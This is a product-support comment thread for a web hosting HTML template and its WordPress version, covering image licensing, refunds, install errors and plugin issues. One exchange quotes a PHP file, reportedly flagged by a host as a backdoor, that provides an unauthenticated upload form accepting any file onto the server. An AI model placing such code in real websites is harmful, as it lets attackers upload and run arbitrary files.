102 comments found.
Hi there
I have just purchased your Multi Host – Responsive Hosting Template.
I would like to make use of the images provided in the demo. Please advise.
Kind Regards – John
Hi.,
Thank you for purchasing our theme and contacting us.
Here is the image purchase links.
https://www.dropbox.com/s/7npar81g6dexkoo/image_purchase_links.txt?dl=0 https://www.dropbox.com/s/swabrgew0sfb8p8/slider-images.txt?dl=0Note: We can’t provide those images will appear in the Theme Demo, but not in the Theme package. Because of some license issue, we have not included those images. If you need, you have to purchase those images.
Regards., BuddhaThemes Support.
Hi. I specifically want the images in the demo. Where can I purchase those images?
Hi John.,
Yes we have specifically mentioned each of the images in that text file. Please visit each link separately in both the text files that we have sent.
Regards., BuddhaThemes Support.
Hi
The cost for purchasing 5 images (as per the link you provided) is $79. This works out to R961.00. That is nearly R1000.00 (ZAR) which is incredibly expensive.
As per my previous email, I was expecting the demo images to be included in the theme purchase but only found out after purchasing the them that they were not.
I have not used the theme and don’t intend to although I’m sure it’s a great theme. It simply works out too costly if I have to now purchase the images as well. I don’t even know if it is Wordpress compatible?
Many thanks for your prompt response. Please assist me in resolving this matter.
Kind Regards
John
Hi John.,
We have already mentioned in our themeforest page, that the images are not included with the theme package. Please have a look at this screenshot http://prntscr.com/i328pb
Regards., BuddhaThemes Support.
Hi
Thank you. I didn’t see that last line at the bottom of the page before purchasing the theme. It was obviously an oversight on my end. As I’ve said, purchasing the images is way too costly in addition to purchasing the theme.
Also, Is the theme Wordpress compatible?
Regards John
Hi.,
You are purchased the Multi Host – Responsive Hosting HTML Template not the WordPress theme. So it is not compatible for WordPress.
https://themeforest.net/item/multi-host-responsive-hosting-template/9575930Here is the link to purchase our Multi Hosting | WHMCS Hosting WordPress Theme
https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734Regards., BuddhaThemes Support.
Hi
Thank you. Please refund me on this theme. I unfortunately cannot even use it if I wanted to as I only use Wordpress CMS.
Many thanks
John
Hi
Thank you. Please refund me on this theme. I unfortunately cannot even use it if I wanted to as I only use Wordpress CMS.
Many thanks
John
Hi John.,
We do have wordpress version of our multihost template. Please visit the below link. It is the wordpress version of our multihost template. It is the multihost wordpress theme. Please purchase the wordpress theme and let us know the purchase of the wordpress theme so that we can refund the template version.
https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734Regards., DesignThemes Support.
Hi, so I set up this theme and everything but the theme seems to either be buggy or messy because whenever I try and edit a simple as top bar it just messed up the whole topbar as in lets say I want to edit the name “Blog Single” to someting else just messed up the page http://prntscr.com/hfngty
Hi!.,
Please mail us your site credentials ( Domain Name & FTP access logins) immediately via the right bottom form located @ http://themeforest.net/user/buddhathemes So that, we can check and have a clear look form our end.
Regards., BuddhaThemes Support.
dear i want to buy this theme just i want to ask that this theme is supporting to Clientexec billing software. and do you help in instalation theme?. thanks, regards, mehrab
Hi.,
Thank you for contacting us.
1) We have not tested the theme with Clientexec billing software.
2) We provide basic installation support and guidance for theme and the plugins included with the theme and some basic customizations.
Here is WordPress Theme Purchase link : https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734?s_rank=60
Thank you, we look forward to helping you!
Regards., BuddhaThemes Support.
Hello Author, i have the following questions
1. What software/framework do i need to be able to use the HTML Template? is it just HTML?
2. if i get the wordpress template. what do i do to ensure i get the full demo fully displayed when i install the demo
Hi adenijidav.,
1) When you purchase the html template, you need to first convert the template files to dynamic code like php and then use it with WHMCS software.
2) If you purchase our wordpress theme, you need to have the WHMCS software first and then you can install the theme in wordpress.
Regards., DesignThemes Support.
But the link does not move to the page.
Please help
Hi Pawel.,
Kindly mail your Domain name and FTP Login Credentials through the right bottom form @ http://themeforest.net/user/buddhathemes so that we will check the issue.
Regards., BuddhaThemes Support.
Hello, i sent
Hi Pawel.,
1) The external link has been added to the menu item. We have added an external class to that menu item. Please have a look.
2) We have added the google map api key to the home page and the map is not showing up. Please have a look.
If you are happy with our support, kindly rate us. Have a look at the video for the rating process. http://recordit.co/YqdTBuEJRm Hoping for a 5 star rating from your end 
Regards., BuddhaThemes Support.
Hi Pawel.,
Thank you for the purchase. Let us know if you have any queries.
Regards., BuddhaThemes Support.
Hello, what is the cost of buying a theme along with pictures? Do icons and images used on the site come with the license? The page on the phone (iphone 5) is very badly charged, the wait icon goes all the way and can not be removed. Is technical support in such cases included in the price? Can I use this template in wordpress?
Hi Pawel19.,
1) Please have a look at the image purchase links of the multihost template images and can you find the cost of each image. These images are not ours and we too had purchased and used in our template.
https://www.dropbox.com/s/fhfyf6ur42vsmuu/slider-images-html.txt?dl=02) You can use the icons, but the images are not included with the template.
3) We checked in iphone and we cannot see any issues. Can you please send us a screenshot so that we can check and let you know.
4) The support is included for 6 months from purchase date.
5) No you cannot use it in wordpress. If you need wordpress version, then you can purchase it from the following link.
https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734?s_rank=2&ref=designthemesRegards., BuddhaThemes Support.
Are they in the template, do I have to buy them?
After purchase of the template, I get help to change images, insert content, etc.
Hi Pawel.,
The images are not included. If you wish to use those images, you need to purchase them separately.
Regards., BuddhaThemes Support.
Hello I can not install the issue sends me error message that is missing a file style does not load
Hi.,
Thank you for contacting us.
It seems that you have purchased html template of Multi Host and not the wordpress theme.
Multi Host – Responsive Hosting Template
https://themeforest.net/item/multi-host-responsive-hosting-template/9575930If you wish you can purchase the Multi Hosting | WHMCS Hosting WordPress Theme from the following link.
https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734Regards., BuddhaThemes Support.
Hello I can not install the issue sends me a mistake saying that
Could not unzip the package. The theme does not have the CSS style stylesheet.
Hi.,
Thank you for contacting us.
It seems that you have purchased html template of Multi Host and not the wordpress theme.
Multi Host – Responsive Hosting Template
https://themeforest.net/item/multi-host-responsive-hosting-template/9575930If you wish you can purchase the Multi Hosting | WHMCS Hosting WordPress Theme from the following link.
https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734Regards., BuddhaThemes Support.
Great Theme
Hi.,
We hope you had a great experience with our theme and support.,
Please take one minute to share your feedback by clicking on a rating below.
Kindly refer the attached screenshot : http://recordit.co/YqdTBuEJRm. Hoping for a 5 star rating from your end
Note: If you like our theme and support, please feel free to give us your best rating (5/5 stars)!! Thank you, we look forward to helping you!
i have bought the theme for wordpress version but it seems too much heavy and my site loading is too slow. can i get the normal html version now or do i have to buy it?? i think html version will make the site lighter.
Hi.,
Thank you for contacting us.
Multi Host Theme : Speed of the site, Most of it depends on page content which compromises of images. If images are properly optimized and you’re using a cache plugin like W3 Total Cache on a good fast host, the speed issue shouldn’t happen on any theme. “Multi Host Theme” is excellent site optimization technique. So Theme fastest page load speeds for a website.
http://wedesignthemes.com/support/knowledge-base/how-to-increase-the-theme-speed/Thank you, we look forward to helping you!
Regards., DesignThemes Support.
right now can you open the site??
url: thrusthost.com
site is not loading and i have checked its for rev slider. i have deleted the plugin installed the new and fresh one and still its same.
right now site is not loading url: thrusthost.com
I have checked and found out that rev slider is the responsible. i have deleted the plugin and installed fresh copy and still the error. any idea?
i think revslider has made the plugin premium now that is why its not working and making the site down?
Hi Thrusthost.,
We have checked your site and it is working fine now. Please have a look at this screenshot http://prntscr.com/eb1gsx Please let us know if you need any help.
Regards., DesignThemes Support.
Hey there, please may I have a link to purchase the images?
Hi.,
Thank you for contacting us.
Images used in the demo are not included for download, these images are copyrighted, if you are planning to use the photos we can provide the links to buy license.
Thank you, we look forward to helping you!
Regards., BuddhaThemes Support.
Hey there, as I asked and stated, I know that, I was and am asking for the links.
It has been two days now, I would appreciate a response sooner rather than later.
This is the third day now, please can you send me the links so I can purchase the images. I am not impressed on how long this has taken for a simple copy and paste.
Hi.,
Sorry for the delayed response. Hope you had a great weekend
Kindly refer the attached the text file..
https://www.dropbox.com/s/7npar81g6dexkoo/image_purchase_links.txt?dl=0Regards., DesignThemes Support.
Thank you, have a good week.
Hi.,
Okay., Thank you Let us know, if you find any issues in future..
Regards., BuddhaThemes Support.
Hi, How to edit the tweeter api in the template please ?
I wan to pu my tweeter account.
Thanks
Hi curtispc,
Get into path the theme folder > js > custom.js there you need to give your tweeter account details.
Refer the screenshot : http://prntscr.com/e3f5ki
Thank you, we look forward to helping you!
Regards., BuddhaThemes Support.
Hi, there no screenshot with this link
Hi.,
Please refer : https://www.dropbox.com/s/iv57wse8yqdd0he/tweet.jpg?dl=0 or https://snag.gy/xf0TnI.jpg
Regards., BuddhaThemes Support.
ok , last question, how to have al these key ?
Soory to disturb you , but on the custom.js file , there nos section tu put all these information
Hi.,
Sorry for the inconvenience,
Please refer the attached screenshots
For Tweets API Details : http://prnt.sc/e3v208 and for changing Account details : http://prntscr.com/e3v28p
Regards., DesignThemes Support.
Hi,
Since about 2 Months the Google Maps Plugin doesn’t Work anymore. It Doesn’t Matter what adress we enter, the marker is always somewhere in the ocean.. Looks like the Preview-Template has the same Problem.
Is there a fix for this?
Thanks.
Hi Rapn3ss.,
Send us a message through the right bottom form @ http://themeforest.net/user/designthemes so that we will send you the latest google maps plugin so that you can update the plugin and have a look at the issue.
It seems that your support expired on 02/03/2016. Please renew the support to get more help from us. Please follow the instructions in the below knowledge base link for extending the theme support http://wedesignthemes.com/support/knowledge-base/how-to-extendrenew-your-support-period/
Regards., DesignThemes Support.
the theme has a file named admin_utils.php
This file is quaranting by my host everytime while i asked they replied me this.
This file we’re quarantining is clearly malicious which is why we blocked it. It’s an upload form with no authentication/validation of any kind that accepts any file type and then the actual file gets uploaded to your website. This either is an intentional backdoor by the theme maker to compromise websites who purchase their theme or it’s an easily exploitable theme. It would be irresponsible for us to allow such a file to be on users websites.
I need your attention about this matter.
Thanks.
Hi thrusthost.,
Please ask your hosting team, to let us know the exact code which causes the upload issue, so that we can check and remove it.
Regards., BuddhaThemes Support.
Here are the contents of the one you uploaded which we blocked:
<?php if(isset($_POST[‘Submit’])){ $filedir = ””; $maxfile = ‘2000000’;
$userfile_name = $_FILES‘image’; $userfile_tmp = $_FILES‘image’; if (isset($_FILES‘image’)) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod);
echo”<center>Done ==> $userfile_name</center>”; } } else{ echo’ <form method=”POST” action=”” enctype=”multipart/form-data”><input type=”file” name=”image”><input type=”Submit” name=”Submit” value=”Submit”></form>’; } ?>
ow and its the ordpress version that i have. i guess i commented at the html tamplate version one.
any update on this?
Hi thrusthost.,
We do not have such code in the admin_utils.php file as you have mentioned. Can you please check in that file. May be that code coming from some other plugin files. Please have a look.
Regards., BuddhaThemes Support.
I just downloaded multi-site template but the install to wordpress gives me the error: . The style.css stylesheet doesn’t contain a valid theme header
Hi.,
It seems you have purchase the html template and not the wordpress theme. You can purchase the wordpress theme from this link : https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734
Regards., BuddhaThemes Support.
Hi.,
It seems you have purchase the html template and not the wordpress theme. You can purchase the wordpress theme from this link : https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734
Regards., BuddhaThemes Support.
Hello.
Do You have this template as ex. JOOMLA or WORLDPRESS template ??
Best regards.
Hi.,
Thank you for contacting us.
Yes., we have the wordpress version of our multihost theme. You can purchase it from this link https://themeforest.net/item/multi-hosting-whmcs-hosting-wordpress-theme/11571734?s_rank=11
Regards., DesignThemes Support.
I just bought the template and it is missing the style.css file. Can you send the file to me.
Hi.,
1) This error is caused by trying to install the entire download ZIP package rather than the actual theme itself.
The downloaded package contains documentation, child theme etc.
So unzip package and find actual theme file then install theme.
2) Go to WP folder > WP-content -> Themes – > Paste actual theme directory folder
If you still have any issues. Mail us your site credentials (WordPress & FTP access logins) immediately via the right bottom form located @ http://themeforest.net/user/buddhathemes So that, we can check and have a clear look form our end.
Regards., BuddhaThemes Support.
I am missing the style.css file. I have downloaded the full zip file ten uploaded the site only.
Hi.,
1) This error is caused by trying to install the entire download ZIP package rather than the actual theme itself.
The downloaded package contains documentation, child theme etc.
So unzip package and find actual theme file then install theme.
2) Go to WP folder > WP-content -> Themes – > Paste actual theme directory folder
If you still have any issues. Mail us your site credentials (WordPress & FTP access logins) immediately via the right bottom form located @ http://themeforest.net/user/buddhathemes So that, we can check and have a clear look form our end.
Regards., BuddhaThemes Support.
Hi!
On the Layer slider template page I would like to use a video for the background instead of a static image. I currently have it semi-working with a <video> tag using the class “ls-playvideo”
How would I get the video to stretch all the way and disappear correctly? Right now it doesn’t have a disappearing animation it just vanishes after the next slide appears.
Hi.,
Let us know domain name and FTP login details via the right bottom form located @ http://themeforest.net/user/buddhathemes So that, we can check and have a clear look form our end.
Regards., BuddhaThemes Support.
